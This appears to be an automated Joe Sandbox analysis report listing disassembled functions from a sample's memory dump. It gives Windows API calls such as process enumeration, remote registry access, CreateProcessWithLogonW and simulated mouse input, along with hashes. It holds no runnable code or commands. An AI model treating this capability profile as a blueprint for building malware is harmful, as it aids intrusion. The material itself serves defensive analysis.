$?, xrefs: 00DAE156

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID: $?$>
API String ID: 3277943733-2278415509
Opcode ID: f779d4d714efcfac3033d0b1a932fbc19c103c04ce962afc3e6843a77b5c8c25
Instruction ID: 66f4633f26e908622c0719205d3aad21dc7a5d11c7682ad973d914725e0b9315
Opcode Fuzzy Hash: f779d4d714efcfac3033d0b1a932fbc19c103c04ce962afc3e6843a77b5c8c25
Instruction Fuzzy Hash: B5F082F1A40312BFF3105B76AC06FB77A6DDB09394F040521BA14E61A2D7B78E8086B8

Function 00D5C697 Relevance: 9.3, APIs: 6, Instructions: 253COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00D5C6C0
GetWindowRect.USER32(?,?), ref: 00D5C701
ScreenToClient.USER32(?,?), ref: 00D5C729
GetClientRect.USER32(?,?), ref: 00D5C856
GetWindowRect.USER32(?,?), ref: 00D5C86F

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 59c052a4714c4575dad9cb7863601216dab02698e504b3f5e04030892fcd9ccc
Instruction ID: 80ad53bac676acc5b69366e8ef2e42eb71ed68efed3dbea4ff0d8a756cef751a
Opcode Fuzzy Hash: 59c052a4714c4575dad9cb7863601216dab02698e504b3f5e04030892fcd9ccc
Instruction Fuzzy Hash: 3DB1197991024ADFDF10CFA8C9807E9BBB1FF08311F149569EC99AB654DB30A944CB64

Function 00D89569 Relevance: 9.2, APIs: 6, Instructions: 204COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D896BC
_memmove.LIBCMT ref: 00D895F7

Part of subcall function 00D484A6: __swprintf.LIBCMT ref: 00D484E5
Part of subcall function 00D484A6: __itow.LIBCMT ref: 00D48519

_memmove.LIBCMT ref: 00D8966A
_memmove.LIBCMT ref: 00D89751
_memmove.LIBCMT ref: 00D8976A
_memmove.LIBCMT ref: 00D89786

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 0419fee3858b8c2a99dcd1e91b6cf4856a4207e9eddc191b2bfae0a991306dcc
Instruction ID: f6ff446f2e3eb71e5545af0d02752436220e1de60c72fd9dd80ecee69d322197
Opcode Fuzzy Hash: 0419fee3858b8c2a99dcd1e91b6cf4856a4207e9eddc191b2bfae0a991306dcc
Instruction Fuzzy Hash: 4261783051024AABDB01FF60CC92EFE77A9EF45314F084459F89A6B292EB34E905DB71

Function 00DA1AD0 Relevance: 9.2, APIs: 6, Instructions: 163processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00DA1B09
Process32FirstW.KERNEL32(00000000,?), ref: 00DA1B17
__wsplitpath.LIBCMT ref: 00DA1B45

Part of subcall function 00D6297D: __wsplitpath_helper.LIBCMT ref: 00D629BD

_wcscat.LIBCMT ref: 00DA1B5A
Process32NextW.KERNEL32(00000000,?), ref: 00DA1BD0
CloseHandle.KERNEL32(00000000,?,?,00000002,00000000), ref: 00DA1BE2

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath__wsplitpath_helper_wcscat
String ID:
API String ID: 1380811348-0
Opcode ID: 81d5e5f7b28014cde0777d07986046bee901ef51c201a1098b615362f2972452
Instruction ID: 217bffcf7562bb1e1c112a2afed869a2a997ee4af2220d19f933ce5f641f2553
Opcode Fuzzy Hash: 81d5e5f7b28014cde0777d07986046bee901ef51c201a1098b615362f2972452
Instruction Fuzzy Hash: E0513B715043019FD710EF24D885EABB7E8EF89754F14492EF98597251EB70EA08CBB2

Function 00DA2EC7 Relevance: 9.2, APIs: 6, Instructions: 160registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

Part of subcall function 00DA3AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00DA2AA6,?,?), ref: 00DA3B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00DA2FA0
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00DA2FE0
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00DA3003
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00DA302C
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00DA306F
RegCloseKey.ADVAPI32(00000000), ref: 00DA307C

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 82d5d43449d5a938139eab0af72c48d06777e52ce23321de814461da5d2cc50e
Instruction ID: 2803f9beadfd045832d13396b7975640d4a11d253dd4526871c03247a4f903c9
Opcode Fuzzy Hash: 82d5d43449d5a938139eab0af72c48d06777e52ce23321de814461da5d2cc50e
Instruction Fuzzy Hash: 3F513631118205AFC704EF68CC85E6ABBEAFF89714F04491DF596872A1DB71EA05CB72

Function 00D5DB8C Relevance: 9.2, APIs: 6, Instructions: 160COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 00D5DCC0
_wcscat.LIBCMT ref: 00D5DCC7
_wcscpy.LIBCMT ref: 00DB3CCB

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _wcscpy$_wcscat
String ID:
API String ID: 2037614760-0
Opcode ID: f1f98a6ec25caa01f90f5d415b32dc8c6c5e2b15692a0a50f5ac00c05728c96b
Instruction ID: 544129874a7a8799a04cc3b3702334407303b505e04bed9d6bc6cf305b83fda8
Opcode Fuzzy Hash: f1f98a6ec25caa01f90f5d415b32dc8c6c5e2b15692a0a50f5ac00c05728c96b
Instruction Fuzzy Hash: 4951C430904215ABCF21EF98C4419BDB7B2EF08712F58404AFD81AB251DB749F85DBB1

Function 00D82ADC Relevance: 9.2, APIs: 6, Instructions: 158COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00D82AF6
VariantClear.OLEAUT32(00000013), ref: 00D82B68
VariantClear.OLEAUT32(00000000), ref: 00D82BC3
_memmove.LIBCMT ref: 00D82BED
VariantClear.OLEAUT32(?), ref: 00D82C3A
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00D82C68

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: bc8ee4ff445694ea91eb8be65c3b24aa0fb0ddba054dfa62b2a5c97f892e7989
Instruction ID: 3c5e927dfac56e5a7b685ccd7361924cd69042085d1fc262b692b8fc128c03fd
Opcode Fuzzy Hash: bc8ee4ff445694ea91eb8be65c3b24aa0fb0ddba054dfa62b2a5c97f892e7989
Instruction Fuzzy Hash: 3C516CB5A0020AEFCB14DF58C884EAAB7B9FF4C314B158559E949DB314E330E951CFA0

Function 00DA82DB Relevance: 9.2, APIs: 6, Instructions: 152windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00DA833D
GetMenuItemCount.USER32(00000000), ref: 00DA8374
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00DA839C
GetMenuItemID.USER32(?,?), ref: 00DA840B
GetSubMenu.USER32(?,?), ref: 00DA8419
PostMessageW.USER32(?,00000111,?,00000000), ref: 00DA846A

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: aebf2796c3b669a6f5d22883dd90df6bcfa4b80039e4932a09d4fe8fd8cd564e
Instruction ID: 2175d6cd324d4646400dd39c054f4717c7f0806bcaefee7f8e1885702c1c496d
Opcode Fuzzy Hash: aebf2796c3b669a6f5d22883dd90df6bcfa4b80039e4932a09d4fe8fd8cd564e
Instruction Fuzzy Hash: 72519C71A0021AAFCF00EFA4C841AAEBBB5EF49710F144069ED15FB351DB70AE419BB0

Function 00D854E0 Relevance: 9.1, APIs: 6, Instructions: 136windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D8552E
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00D85579
IsMenu.USER32(00000000), ref: 00D85599
CreatePopupMenu.USER32 ref: 00D855CD
GetMenuItemCount.USER32(000000FF), ref: 00D8562B
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00D8565C

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 34b34567f5c6a95540f924df7e14dd8495320f41ee7d0df5491a46e0129c6325
Instruction ID: 9737452ae55cae3b224b83108854041ff035f0a7281cdd997662886f7e8dc682
Opcode Fuzzy Hash: 34b34567f5c6a95540f924df7e14dd8495320f41ee7d0df5491a46e0129c6325
Instruction Fuzzy Hash: 2251E4B0600706EFDF10EF68E889BADBBF5EF05314F584269E4559B298E3709944CB71

Function 00D5B18C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00D5AF7D: GetWindowLongW.USER32(?,000000EB), ref: 00D5AF8E

BeginPaint.USER32(?,?,?,?,?,?), ref: 00D5B1C1
GetWindowRect.USER32(?,?), ref: 00D5B225
ScreenToClient.USER32(?,?), ref: 00D5B242
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00D5B253
EndPaint.USER32(?,?), ref: 00D5B29D

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: fb000c84db9a98160062bebefcab2d4ccc9e77ff6f88f50a264973e0eb2d77fa
Instruction ID: faa9dd049925d9897b848ee56b9957ae109ec0a13de0a21af0e43bb27c420d62
Opcode Fuzzy Hash: fb000c84db9a98160062bebefcab2d4ccc9e77ff6f88f50a264973e0eb2d77fa
Instruction Fuzzy Hash: 7C41AC70100301AFCB21DF25CC84FAA7BE8EB45331F04066AFDA68A2A1C731D949DB71

Function 00DAE1A7 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(00E01810,00000000,?,?,00E01810,00E01810,?,00DBE2D6), ref: 00DAE21B
EnableWindow.USER32(?,00000000), ref: 00DAE23F
ShowWindow.USER32(00E01810,00000000,?,?,00E01810,00E01810,?,00DBE2D6), ref: 00DAE29F
ShowWindow.USER32(?,00000004,?,?,00E01810,00E01810,?,00DBE2D6), ref: 00DAE2B1
EnableWindow.USER32(?,00000001), ref: 00DAE2D5
SendMessageW.USER32(?,0000130C,?,00000000), ref: 00DAE2F8

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 749eb2ad4acba855e942db8a91a8173ce405c445d733d4d150ecd755e846fb0c
Instruction ID: 3e5dcfca213917014dc4bae4828b2177c06fabf6cd70333eda8c87cef167773a
Opcode Fuzzy Hash: 749eb2ad4acba855e942db8a91a8173ce405c445d733d4d150ecd755e846fb0c
Instruction Fuzzy Hash: 3C415E35641245EFEB26CF14C899F947BE5BB0B314F1C42B9FA588F2A2C731A841CB65

Function 00D99FEC Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00D97D81,?,?,00000000,00000001), ref: 00D99FFA

Part of subcall function 00D96B19: GetWindowRect.USER32(?,?), ref: 00D96B2C

GetDesktopWindow.USER32 ref: 00D9A024
GetWindowRect.USER32(00000000), ref: 00D9A02B
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00D9A05D

Part of subcall function 00D88355: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00D883CD

GetCursorPos.USER32(?), ref: 00D9A089
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00D9A0EB

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: d9426672cda9967401cc540127452ab765c234fa553fa97ed336cca41fc50035
Instruction ID: 69935a5965dccaa6616d4a43bee840d8d9c05cacada12c2b388cee926725e551
Opcode Fuzzy Hash: d9426672cda9967401cc540127452ab765c234fa553fa97ed336cca41fc50035
Instruction Fuzzy Hash: A631B473504306ABDB20DF68DC45F9AB7E9FF88314F04092AF599D7291DA31E944CBA2

Function 00D7BC90 Relevance: 9.1, APIs: 6, Instructions: 73processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00D7BCD9
OpenProcessToken.ADVAPI32(00000000), ref: 00D7BCE0
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00D7BCEF
CloseHandle.KERNEL32(00000004), ref: 00D7BCFA
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00D7BD29
DestroyEnvironmentBlock.USERENV(00000000), ref: 00D7BD3D

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 0fe85415695e85b64cbf8528be79a8e37829881567d88b20890320a3969688d2
Instruction ID: 9a0fc574a1e9173a7fbef6655741beb226d522218b9dfedba4ce3db65c797d61
Opcode Fuzzy Hash: 0fe85415695e85b64cbf8528be79a8e37829881567d88b20890320a3969688d2
Instruction Fuzzy Hash: 6421507210020AABDF129FA8DD49FEE7BA9EF44314F148066FE05A6160E776CD61DB70

Function 00DAE9C8 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00D5B58B: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00D5B5EB
Part of subcall function 00D5B58B: SelectObject.GDI32(?,00000000), ref: 00D5B5FA
Part of subcall function 00D5B58B: BeginPath.GDI32(?), ref: 00D5B611
Part of subcall function 00D5B58B: SelectObject.GDI32(?,00000000), ref: 00D5B63B

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00DAE9F2
LineTo.GDI32(00000000,00000003,?), ref: 00DAEA06
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00DAEA14
LineTo.GDI32(00000000,00000000,?), ref: 00DAEA24
EndPath.GDI32(00000000), ref: 00DAEA34
StrokePath.GDI32(00000000), ref: 00DAEA44

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 1e8ce1e5f762570368de079b0e7039560601c716b741ee585860848bc1ffde02
Instruction ID: 3eb95692c812ed035a52b968d9d84b98e15deb5399ab386e821499d7d02a1158
Opcode Fuzzy Hash: 1e8ce1e5f762570368de079b0e7039560601c716b741ee585860848bc1ffde02
Instruction Fuzzy Hash: 4711097600024ABFDF029F94DC88E9A7FADEB08350F048026FE0999160D7719E95DBB0

Function 00D7EF91 Relevance: 9.0, APIs: 6, Instructions: 48COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00D7EFB6
GetDeviceCaps.GDI32(00000000,00000058), ref: 00D7EFC7
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00D7EFCE
ReleaseDC.USER32(00000000,00000000), ref: 00D7EFD6
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00D7EFED
MulDiv.KERNEL32(000009EC,?,?), ref: 00D7EFFF

Part of subcall function 00D7A83B: RaiseException.KERNEL32(-C0000018,00000001,00000000,00000000,00D7A79D,00000000,00000000,?,00D7AB73), ref: 00D7B2CA

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CapsDevice$ExceptionRaiseRelease
String ID:
API String ID: 603618608-0
Opcode ID: b0df4445029d4decf731b28093d63fd768f5ce5940a3fdee7755a2fca88e3984
Instruction ID: 75f9561c32d9c44e7e6ddcb9395c3dea6d83229d8761ed99ff8981a778164e85
Opcode Fuzzy Hash: b0df4445029d4decf731b28093d63fd768f5ce5940a3fdee7755a2fca88e3984
Instruction Fuzzy Hash: 8C017575A4030ABFEB109BA69C45E5EBFB9EB49351F044066F908E7380D6709C00CB71

Function 00D687D7 Relevance: 9.0, APIs: 6, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00D687D7

Part of subcall function 00D61E5A: __initp_misc_winsig.LIBCMT ref: 00D61E7E
Part of subcall function 00D61E5A: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00D68BE1
Part of subcall function 00D61E5A: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00D68BF5
Part of subcall function 00D61E5A: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00D68C08
Part of subcall function 00D61E5A: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00D68C1B
Part of subcall function 00D61E5A: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00D68C2E
Part of subcall function 00D61E5A: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00D68C41
Part of subcall function 00D61E5A: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00D68C54
Part of subcall function 00D61E5A: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00D68C67
Part of subcall function 00D61E5A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00D68C7A
Part of subcall function 00D61E5A: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00D68C8D
Part of subcall function 00D61E5A: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00D68CA0
Part of subcall function 00D61E5A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00D68CB3
Part of subcall function 00D61E5A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00D68CC6
Part of subcall function 00D61E5A: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00D68CD9
Part of subcall function 00D61E5A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00D68CEC
Part of subcall function 00D61E5A: GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00D68CFF

__mtinitlocks.LIBCMT ref: 00D687DC

Part of subcall function 00D68AB3: InitializeCriticalSectionAndSpinCount.KERNEL32(00DFAC68,00000FA0,?,?,00D687E1,00D66AFA,00DF67D8,00000014), ref: 00D68AD1

__mtterm.LIBCMT ref: 00D687E5

Part of subcall function 00D6884D: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00D687EA,00D66AFA,00DF67D8,00000014), ref: 00D689CF
Part of subcall function 00D6884D: _free.LIBCMT ref: 00D689D6
Part of subcall function 00D6884D: DeleteCriticalSection.KERNEL32(00DFAC68,?,?,00D687EA,00D66AFA,00DF67D8,00000014), ref: 00D689F8

__calloc_crt.LIBCMT ref: 00D6880A
